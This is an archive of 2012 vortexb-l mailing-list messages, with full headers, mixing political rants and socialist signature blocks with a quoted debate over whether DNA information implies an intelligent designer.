control of the resources of the Planet. They ARE the Masters of the Universe, after all. However, we WILL get rid of them. And soon too, loox like. All the phenomena you mention are part of their 'divide-to-rule' strategy against the much larger working- and peasant- and petit-bourgeois-, etc. classes they are parasitical to. -- grok. > On Sun, Apr 1, 2012 at 6:31 PM, grok wrote: > > > > > The british ruling-class does NOT operate in the interests of everyone > > else there. Certainly not in the interests of the british working- > > class. They consider themselves first, foremost and ONLY. > > > > Same as anywhere. > > > > > > -- grok. > > > > > > > > > > > > As the smoke cleared, Vorl Bek > > mounted the barricade and roared out: > > > > > > > > > > The asylum of the mentally challenged (a hopefully politically > > > > correct term) closes its doors from the inside, it seems. Funny > > > > that. Historically it has been the other way round. > > > > > > > > "People in Britain Need Permission from U.S. to Board Flights to > > > > Canada, Mexico and Cuba" > > > > > > > > > > http://www.independent.co.uk/travel/news-and-advice/planning-a-trip-to-canada-or-the-caribbean-us-immigration-may-have-other- > > > > ideas-7584912.html > > > > > > Amazing. It sounds like an April Fool's joke. It is hard to > > > believe that the British do not simply tell the Americans to go to > > > hell. > > > > > > The British really seem like doormats for the Amercians to wipe > > > their feet on. > > > > > > > > > > > > > > Note: > > > > I have been sufficiently often in the US of A, to never ever > > > > have the slightest urge to visit the land of the free and brave > > > > again, although there seems to live a handful of decent people. > > > > On the other hand, there are other areas in the world, where > > > > several handfuls of decent people live. > > > > > > > > To complete my political rant: > > > > It would be best for the world, if the blessed country would > > > > completely disappear from the surface of the earth. The balance > > > > of good vs bad definitely would tilt to the 'good' direction. > > > > > > > -- > > The Financiers & Banksters have looted untold trillions of our future > > earnings. > > Their bureaucratic police & military goons are here to make us all pay for > > it. > > Forever. > > Well FORGET THAT. Let's get it *ALL* back from them -- and more. > > > > **Socialist revolution NOW!!** > > > > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > > TOUT le pouvoir aux conseils et communes. > > ALL power to the councils and communes. > > > > And beware the 'bait & switch' fraud: "Social Justice" is NOT > > *Socialism*... > > > > > > > -- > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying "behold," > This land that knew fire is yours > Taken from Corruption > To begin anew -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Mon May 28 08:37:43 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q4SFbfvQ000505; Mon, 28 May 2012 08:37:41 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q4SFbUjF000447; Mon, 28 May 2012 08:37:30 -0700 Resent-Date: Mon, 28 May 2012 08:37:30 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=gvIKlWV3ZprO/pwLfeUlZj+NQ7DxujGsqxOMp+cLOtM=; b=GY23fUWPK3DSe6aSf/vdv2TwDBPcZtswcFSjWdF4Gp39HDUjU/+gi28gVgmM6FOrrn sbxLjuFIqtgVuXWIwr85Y87mCFToDD7zVRcQVyetZ7vUOKJvPLuU83r5Xb9ihEATfIKk BNDN0uONHAfUoA8MUbZ9mZ1RYlBc1ZXTzfUUnDKozZ+bhp2F6z1/fMWPtxqeKMstrcSY ylfnYJscSqT1roaINUrLsi5+nQi647QAUt9hgtXxAXaDACtUxzK9xG5cpXojEBKgZ3Tq Kf5vyun8yJrfFTcz8PtmGO0ZWcDJUhwXbIN5R66Ki7zIg4U1XLDgzxdMqpR5E5R59bH3 JO9g== MIME-Version: 1.0 In-Reply-To: References: <00dc01cd39be$df068b90$9d13a2b0$@net> <00e601cd39c1$d03fb5c0$70bf2140$@net> <1338026541.38773.YahooMailNeo@web28906.mail.ir2.yahoo.com> <201205272255.q4RMtXIu015289@ultra5.eskimo.com> Date: Mon, 28 May 2012 11:32:54 -0400 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4561 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Darwinian Evolution (Was Tritium in Ni-H LENR) Status: O X-Status: X-Keywords: X-UID: 802 Sure, right here in vortexb-l. Free rant list which comes with your subscription to vortex-l. All goes here in vortexb. No archiving exists. Bring it on! T On Mon, May 28, 2012 at 5:42 AM, Jojo Jaro wrote: > Once again, I hesistate to respond to you cause that will cause people to > roundly criticize me for starting a long off-topic thread. =A0You bring u= p > several points that need a response, to set your fallacies straight. =A0C= an > you suggest a forum where we can do this? =A0Let me know and I'll show up= . > > Otherwise, there is nothing much I am willing to do in this forum. > > Jojo > > > > ----- Original Message ----- From: "Abd ul-Rahman Lomax" > > To: ; > Sent: Monday, May 28, 2012 7:52 AM > > Subject: Re: [Vo]:Darwinian Evolution (Was Tritium in Ni-H LENR) > > >> At 09:11 AM 5/27/2012, Jojo Jaro wrote: >>> >>> I am unsure about your point or what you are asking. >>> >>> What exactly is your discussion point or what exactly is your question? >>> >>> Of course,there are strong inference. =A0For example, if you find the >>> presence of Information in DNA, that is an inference for Intelligent >>> Designer, not Darwinian Evolution based on randon chance mutations. Ran= dom >>> processes never create Information, because information is "Order", the >>> exact opposite of Randomness. >> >> >> The conclusion is being assumed. It is easy to demonstrate information i= n >> random output with or without output selection. "Information" is not def= ined >> here, and I suspect that the undisclosed definition again incorporates t= he >> conclusions. >> >> There is order in the non-living, presumably mechanistic, universe, by a= ny >> reasonable definition of order. We associate very high levels of order w= ith >> life, normally, for life organizes material, it can be one of the >> definitions of life. >> >>> For instance, the assembling of random letters into a coherent sentence >>> requires the input of an Intelligent being. >> >> >> Easy to demonstrate otherwise. Make a random sequence generator, then >> select the output which makes sense. Humans actually do this detection w= ell, >> almost too well, sometimes, we will indeed "make sense" of random >> combinations. And then people will insist that the sense that they make = from >> this stuff is "intended," a "code" that proves something or other. Like = that >> the Torah is from God ("Torah Code") or the Qur'an from Allah ("The Mira= cle >> of the Nineteen.") >> >> Gambler's Fallacy is a phenomenon related to this. >> >>> =A0If your throw a bunch of Scrabble letters on the ground, the followi= ng 2 >>> sentences have equal chance of occuring. >>> >>> "There is a God" >>> >>> "ethresi da Go" =A0 =A0 =A0 =A0 - =A0 =A0(No, this is not a foreign lan= guage. =A0This >>> is a random mixture of the same letters above.) >> >> >> Yes. But if you have a Scrabble set tossed to make random words, but you >> have a setup which rejects what is not in a dictionary, the second set i= s >> impossible, it will not be kept. There is *not* an equal chance as you >> assume. >> >> The genetic code is not randomly mutated, in the sense you think. Many >> mutations would result in copying failure, for starters. Many more mutat= ions >> would result in organism failure. In complex organisms, many more mutati= ons >> would not be viable. Even more might be temporarily viable, but would no= t >> survive to reproduce. Or might only last a few generations, either by >> accident or because of loss of survivability. >> >> And many mutations are irrelevant, have no effect on the function of the >> DNA, so the DNA behind a particular functional part of an organism is, i= n >> fact, a family of patterns, not a single one. >> >> That "junk DNA" can be mutations waiting to become, through some further >> process, something active. It might represent something that was active = in >> the past but which is no longer active, that mutated out of activity but >> caused no damage because any necessary function was also carried elsewhe= re. >> >> This is all just how DNA functions. It proves nothing about "creation" o= ne >> way or another. What is the real issue here? >> >>> What is the difference between the 2 sentences above. =A0Nothing as far= as >>> randon chance is concerned. >> >> >> The first sentence *might* have been created by random chance and, in >> fact, I could demonstrate this if I thought it were important. The key i= s >> that I'd set up an algorithm using random letter selection. "There is a = God" >> is short enough that I could get this result with fairly little computer >> time, and that's why web sites advise more complex passwords! >> >> What you have shown, Jojo, is that your own selection process is not >> "random chance." This proves? >> >> It *certainly* does not prove that random chance cannot produce sensible >> words, but you seem to think so, which demonstrates what? >> >> Are you familiar with the Torah Code? See >> http://en.wikipedia.org/wiki/Bible_code >> >>> Yet for an Intelligent Entity, there is a huge difference. >> >> >> Sure. That is, to an Intelligent Entity, which you assume yourself to be= , >> of limited intelligence. A *huge* difference. Which the intelligent enti= ty >> made up. That's what intelligent entities, in fact, do, they make up >> meaning. It's a useful process, often. Not always. Gambler's Fallacy. >> >>> What differentiates the 2 sentences? =A0It is Information of course. >> >> >> That's debatable. What information? What I see in the first sentence is >> grammatically correct, but "information" is actually supplied by the rea= der. >> You *say* that the second sentence is not a foreign language, but that i= s >> your *assumption.* >> >> In the end, both sentences are assemblages of letters, and whether or no= t >> they mean something is dependent upon the *reader* -- or reading device. >> >> What is *meant* by "God"? Indeed, what is "meant" by any of the words, >> most especially "is"? Is what, is where, is how? All these are supplied = by >> the reader, in "making sense" of the sentence. You may say that there is= an >> *intended* meaning, which *assumes* an author, someone with the intentio= n. >> But two people saying that same sentence may intend quite different >> meanings. You are imagining that there is one. Your meaning. >> >> And then someone else says "There is no god." And you might imagine, the= n, >> that this is contradictory to your sentence and your sentence, and, gain= , >> you would be making this up. >> >> There is no *intrinsic contradiction*, and I'll demonstrate this by >> pointing out that "There is no god" is the preface to the affirmation of >> faith in Islam, "There is no god, but the God." It's usually stated as "= but >> Allah," but "Allah," very likely, merely is "god" with the definite arti= cle, >> "the," i.e., a *specified* object of the appelation, implying unity. >> "Al-ilah," contracted. "god" in the first half is "ilah." >> >> And when we look underneath that, it is all an affirmation of unity, sin= ce >> "God" is equivalent, at least in Islamic theology, to "Reality." There i= s >> only one reality. You might well disagree, or not. Do you agree or disag= ree? >> >> We make up our own agreement and disagreement. None of this exists in >> reality, which is not captured by words. >> >>> There is information in the first sentence that conveys an idea? =A0And >>> Ideas are the purvue of Intelligent Beings. >> >> >> Again, you are assuming the conclusion. Can you see that? >> >>> Now, do this with 4 letters and create a sentence 600,000 letters long; >>> you might begin to understand the complexity and the remarkable presenc= e of >>> Information in our DNA. >> >> >> The information is supplied by the reader, the reader is the cellular >> process that reads the DNA and creates proteins according to the pattern= s, >> and the living thing behaves according to those proteins, as well as a w= hole >> other level of "information," for humans and some other living things th= at >> can learn, as most animals can. DNA is, in fact, only part of the cellul= ar >> process. >> >> There is no doubt that life is complex, though "complex" is a human >> interpretation. It's possible to create measures of complexity, but they= are >> somewhat arbitrary. >> >> Jojo, you are presenting assumptions as if they were a logical proof. Yo= u >> will not convince *anyone* with this. Why are you pushing it here? >> > From vortexb-l-request@eskimo.com Mon May 28 08:50:51 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q4SFonw0023368; Mon, 28 May 2012 08:50:49 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q4SFogT6023347; Mon, 28 May 2012 08:50:42 -0700 Resent-Date: Mon, 28 May 2012 08:50:42 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 28 May 2012 08:45:43 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Darwinian Evolution (Was Tritium in Ni-H LENR) Message-ID: <20120528154543.GB11701@shell.resist.ca> Reply-To: grok@resist.ca References: <1338026541.38773.YahooMailNeo@web28906.mail.ir2.yahoo.com> <201205272255.q4RMtXIu015289@ultra5.eskimo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Congo, AH-64A Apache, GBU-31, 80mm, FXR User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4562 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 803 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > Sure, right here in vortexb-l. Free rant list which comes with your > subscription to vortex-l. All goes here in vortexb. No archiving > exists. > > Bring it on! > > T I'll even add 'outraged monkey' sounds for free. -- grok. > On Mon, May 28, 2012 at 5:42 AM, Jojo Jaro wrote: > > Once again, I hesistate to respond to you cause that will cause people to > > roundly criticize me for starting a long off-topic thread.  You bring up > > several points that need a response, to set your fallacies straight.  Can > > you suggest a forum where we can do this?  Let me know and I'll show up. > > > > Otherwise, there is nothing much I am willing to do in this forum. > > > > Jojo > > > > > > > > ----- Original Message ----- From: "Abd ul-Rahman Lomax" > > > > To: ; > > Sent: Monday, May 28, 2012 7:52 AM > > > > Subject: Re: [Vo]:Darwinian Evolution (Was Tritium in Ni-H LENR) > > > > > >> At 09:11 AM 5/27/2012, Jojo Jaro wrote: > >>> > >>> I am unsure about your point or what you are asking. > >>> > >>> What exactly is your discussion point or what exactly is your question? > >>> > >>> Of course,there are strong inference.  For example, if you find the > >>> presence of Information in DNA, that is an inference for Intelligent > >>> Designer, not Darwinian Evolution based on randon chance mutations. Random > >>> processes never create Information, because information is "Order", the > >>> exact opposite of Randomness. > >> > >> > >> The conclusion is being assumed. It is easy to demonstrate information in > >> random output with or without output selection. "Information" is not defined > >> here, and I suspect that the undisclosed definition again incorporates the > >> conclusions. > >> > >> There is order in the non-living, presumably mechanistic, universe, by any > >> reasonable definition of order. We associate very high levels of order with > >> life, normally, for life organizes material, it can be one of the > >> definitions of life. > >> > >>> For instance, the assembling of random letters into a coherent sentence > >>> requires the input of an Intelligent being. > >> > >> > >> Easy to demonstrate otherwise. Make a random sequence generator, then > >> select the output which makes sense. Humans actually do this detection well, > >> almost too well, sometimes, we will indeed "make sense" of random > >> combinations. And then people will insist that the sense that they make from > >> this stuff is "intended," a "code" that proves something or other. Like that > >> the Torah is from God ("Torah Code") or the Qur'an from Allah ("The Miracle > >> of the Nineteen.") > >> > >> Gambler's Fallacy is a phenomenon related to this. > >> > >>>  If your throw a bunch of Scrabble letters on the ground, the following 2 > >>> sentences have equal chance of occuring. > >>> > >>> "There is a God" > >>> > >>> "ethresi da Go"         -    (No, this is not a foreign language.  This > >>> is a random mixture of the same letters above.) > >> > >> > >> Yes. But if you have a Scrabble set tossed to make random words, but you > >> have a setup which rejects what is not in a dictionary, the second set is > >> impossible, it will not be kept. There is *not* an equal chance as you > >> assume. > >> > >> The genetic code is not randomly mutated, in the sense you think. Many > >> mutations would result in copying failure, for starters. Many more mutations > >> would result in organism failure. In complex organisms, many more mutations > >> would not be viable. Even more might be temporarily viable, but would not > >> survive to reproduce. Or might only last a few generations, either by > >> accident or because of loss of survivability. > >> > >> And many mutations are irrelevant, have no effect on the function of the > >> DNA, so the DNA behind a particular functional part of an organism is, in > >> fact, a family of patterns, not a single one. > >> > >> That "junk DNA" can be mutations waiting to become, through some further > >> process, something active. It might represent something that was active in > >> the past but which is no longer active, that mutated out of activity but > >> caused no damage because any necessary function was also carried elsewhere. > >> > >> This is all just how DNA functions. It proves nothing about "creation" one > >> way or another. What is the real issue here? > >> > >>> What is the difference between the 2 sentences above.  Nothing as far as > >>> randon chance is concerned. > >> > >> > >> The first sentence *might* have been created by random chance and, in > >> fact, I could demonstrate this if I thought it were important. The key is > >> that I'd set up an algorithm using random letter selection. "There is a God" > >> is short enough that I could get this result with fairly little computer > >> time, and that's why web sites advise more complex passwords! > >> > >> What you have shown, Jojo, is that your own selection process is not > >> "random chance." This proves? > >> > >> It *certainly* does not prove that random chance cannot produce sensible > >> words, but you seem to think so, which demonstrates what? > >> > >> Are you familiar with the Torah Code? See > >> http://en.wikipedia.org/wiki/Bible_code > >> > >>> Yet for an Intelligent Entity, there is a huge difference. > >> > >> > >> Sure. That is, to an Intelligent Entity, which you assume yourself to be, > >> of limited intelligence. A *huge* difference. Which the intelligent entity > >> made up. That's what intelligent entities, in fact, do, they make up > >> meaning. It's a useful process, often. Not always. Gambler's Fallacy. > >> > >>> What differentiates the 2 sentences?  It is Information of course. > >> > >> > >> That's debatable. What information? What I see in the first sentence is > >> grammatically correct, but "information" is actually supplied by the reader. > >> You *say* that the second sentence is not a foreign language, but that is > >> your *assumption.* > >> > >> In the end, both sentences are assemblages of letters, and whether or not > >> they mean something is dependent upon the *reader* -- or reading device. > >> > >> What is *meant* by "God"? Indeed, what is "meant" by any of the words, > >> most especially "is"? Is what, is where, is how? All these are supplied by > >> the reader, in "making sense" of the sentence. You may say that there is an > >> *intended* meaning, which *assumes* an author, someone with the intention. > >> But two people saying that same sentence may intend quite different > >> meanings. You are imagining that there is one. Your meaning. > >> > >> And then someone else says "There is no god." And you might imagine, then, > >> that this is contradictory to your sentence and your sentence, and, gain, > >> you would be making this up. > >> > >> There is no *intrinsic contradiction*, and I'll demonstrate this by > >> pointing out that "There is no god" is the preface to the affirmation of > >> faith in Islam, "There is no god, but the God." It's usually stated as "but > >> Allah," but "Allah," very likely, merely is "god" with the definite article, > >> "the," i.e., a *specified* object of the appelation, implying unity. > >> "Al-ilah," contracted. "god" in the first half is "ilah." > >> > >> And when we look underneath that, it is all an affirmation of unity, since > >> "God" is equivalent, at least in Islamic theology, to "Reality." There is > >> only one reality. You might well disagree, or not. Do you agree or disagree? > >> > >> We make up our own agreement and disagreement. None of this exists in > >> reality, which is not captured by words. > >> > >>> There is information in the first sentence that conveys an idea?  And > >>> Ideas are the purvue of Intelligent Beings. > >> > >> > >> Again, you are assuming the conclusion. Can you see that? > >> > >>> Now, do this with 4 letters and create a sentence 600,000 letters long; > >>> you might begin to understand the complexity and the remarkable presence of > >>> Information in our DNA. > >> > >> > >> The information is supplied by the reader, the reader is the cellular > >> process that reads the DNA and creates proteins according to the patterns, > >> and the living thing behaves according to those proteins, as well as a whole > >> other level of "information," for humans and some other living things that > >> can learn, as most animals can. DNA is, in fact, only part of the cellular > >> process. > >> > >> There is no doubt that life is complex, though "complex" is a human > >> interpretation. It's possible to create measures of complexity, but they are > >> somewhat arbitrary. > >> > >> Jojo, you are presenting assumptions as if they were a logical proof. You > >> will not convince *anyone* with this. Why are you pushing it here? > >> > > > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Mon May 28 09:17:45 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q4SGHhSZ015027; Mon, 28 May 2012 09:17:43 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q4SGHdNS015011; Mon, 28 May 2012 09:17:39 -0700 Resent-Date: Mon, 28 May 2012 09:17:39 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 28 May 2012 09:12:44 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Darwinian Evolution (Was Tritium in Ni-H LENR) Message-ID: <20120528161244.GC11701@shell.resist.ca> Reply-To: grok@resist.ca References: <201205272255.q4RMtXIu015289@ultra5.eskimo.com> <20120528154543.GB11701@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Congo, AH-64A Apache, GBU-31, 80mm, FXR User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4563 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 804 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > On Mon, May 28, 2012 at 11:45 AM, grok wrote: > > > I'll even add 'outraged monkey' sounds for free. > > > > > > -- grok. > > Oh, Jojo, meet grok who adds a whole new meaning to social networking. > > T WOOOOO WOOOOOO!!! -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Mon May 28 11:40:25 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q4SIeOtU014093; Mon, 28 May 2012 11:40:24 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q4SIeJmv014081; Mon, 28 May 2012 11:40:19 -0700 Resent-Date: Mon, 28 May 2012 11:40:19 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=references:in-reply-to:mime-version:content-transfer-encoding :content-type:message-id:cc:x-mailer:from:subject:date:to; bh=HFPWQUhZhsYjD2CCxyxMSD12N6GXvhPhlJfAdViCzUo=; b=Yysun1ptaRYu77od0hgOzhq7GHpn6UU72QcvQK9nGn6Ea0XnGCiCshLUpiMk8dc4Jr tHx3W7Zrg23KifkOC0cH990Ts25nhVDmWdaTSv1HbGZH9z57UIQ1T0GgXOEH7LCU19JC 9ypxZsjj2Km2tchu8RwbKeEsYzNEIbmwEJX1Z5ce7MAYWBAc8nxUIYGe0nI4ml+5Mvoe fiGvWBLnyEPAdmGvhON71kGi/g7Qjni+sS6+dAcFwfOD0mSgVtLqOLwHoIeWpqJjUWp5 E2rid9FhQf0XNi3HGc6WIQkDG0Qpka7Y/k6fmQijwani0vjxaL+QZnwj1HnHXlzssg2r Ystg== References: <201205272255.q4RMtXIu015289@ultra5.eskimo.com> <20120528154543.GB11701@shell.resist.ca> <20120528161244.GC11701@shell.resist.ca> In-Reply-To: <20120528161244.GC11701@shell.resist.ca> Mime-Version: 1.0 (1.0) Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii Message-Id: Cc: "vortexb-l@eskimo.com" X-Mailer: iPhone Mail (9B179) From: Charles Hope Subject: Re: [VoB]:Re: [Vo]:Darwinian Evolution (Was Tritium in Ni-H LENR) Date: Mon, 28 May 2012 14:35:38 -0400 To: "grok@resist.ca" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4564 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 805 Happy Memorial Day, grok! On May 28, 2012, at 12:12, grok wrote: >=20 > As the smoke cleared, Terry Blanton > mounted the barricade and roared out: >=20 >> On Mon, May 28, 2012 at 11:45 AM, grok wrote: >>=20 >>> I'll even add 'outraged monkey' sounds for free. >>>=20 >>>=20 >>> -- grok. >>=20 >> Oh, Jojo, meet grok who adds a whole new meaning to social networking. >>=20 >> T >=20 > WOOOOO WOOOOOO!!! >=20 >=20 > -- grok. >=20 >=20 >=20 >=20 >=20 >=20 > --=20 > The Financiers & Banksters have looted untold trillions of our future earn= ings. > Their bureaucratic police & military goons are here to make us all pay for= it. > Forever. > Well FORGET THAT. Let's get it *ALL* back from them -- and more. >=20 > **Socialist revolution NOW!!** >=20 > Build the North America-wide General Strike. > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. >=20 > And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*.= .. >=20 From vortexb-l-request@eskimo.com Mon May 28 11:42:42 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q4SIgfeQ003382; Mon, 28 May 2012 11:42:41 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q4SIgUvt003221; Mon, 28 May 2012 11:42:30 -0700 Resent-Date: Mon, 28 May 2012 11:42:29 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=zMmY7GTyvJ49j1cvaTdMLt69kN+dmfKSRQkzjWgcLe0=; b=pphvvddtHxNUidLfUS3/BYMq5oLxO8jp5rjaKUu93NQp+kdxM6w/+hRQMV5lzwtnnj ybeiOgif6RA1lhNfqYQ4Sv/fz/dkAlA65SaI19KJY4DNofTVotk9OwIQ2qygVo+9i6Qa u3cYzUW0IxquLLvxLi2si2CFM+If2gZxkJljehY+rG2UrxuniNL3mRst68w/jTV16ojA oXzvDYulH/NOitTsbIOSf6mK9GPJB7m3bFLMTD/IL70/OmV4PcHF+2zXwklatg5Z7b3I 0wsicxYtwMjeao3+waabABjsAlDR31cR7/MoNTw5SREp75fbyXixV3HUCCoEQ6VfmQk5 9+uQ== MIME-Version: 1.0 Date: Mon, 28 May 2012 14:37:55 -0400 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4565 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Bilderberg Meets in Chantilly, VA Status: O X-Status: X-Keywords: X-UID: 806 http://www.rt.com/news/bilderberg-power-us-obama-932/ From vortexb-l-request@eskimo.com Thu May 31 08:36:47 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q4VFakvu016413; Thu, 31 May 2012 08:36:46 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q4VFad9U016393; Thu, 31 May 2012 08:36:39 -0700 Resent-Date: Thu, 31 May 2012 08:36:39 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 31 May 2012 08:31:42 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Darwinian Evolution (Was Tritium in Ni-H LENR) Message-ID: <20120531153142.GB24013@shell.resist.ca> Reply-To: grok@resist.ca References: <201205272255.q4RMtXIu015289@ultra5.eskimo.com> <20120528154543.GB11701@shell.resist.ca> <20120528161244.GC11701@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Contemporary Security Canada Inc., baksheesh, IRGCAF, 20755, ZU-23-2 User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4566 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 807 As the smoke cleared, Charles Hope mounted the barricade and roared out: > Happy Memorial Day, grok! Thanx for the sentiment -- but I cannot support or condone U.S. militarism in any form. -- grok. > On May 28, 2012, at 12:12, grok wrote: > > > > > As the smoke cleared, Terry Blanton > > mounted the barricade and roared out: > > > >> On Mon, May 28, 2012 at 11:45 AM, grok wrote: > >> > >>> I'll even add 'outraged monkey' sounds for free. > >>> > >>> > >>> -- grok. > >> > >> Oh, Jojo, meet grok who adds a whole new meaning to social networking. > >> > >> T > > > > WOOOOO WOOOOOO!!! > > > > > > -- grok. > > > > > > > > > > > > > > -- > > The Financiers & Banksters have looted untold trillions of our future earnings. > > Their bureaucratic police & military goons are here to make us all pay for it. > > Forever. > > Well FORGET THAT. Let's get it *ALL* back from them -- and more. > > > > **Socialist revolution NOW!!** > > > > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > > TOUT le pouvoir aux conseils et communes. > > ALL power to the councils and communes. > > > > And 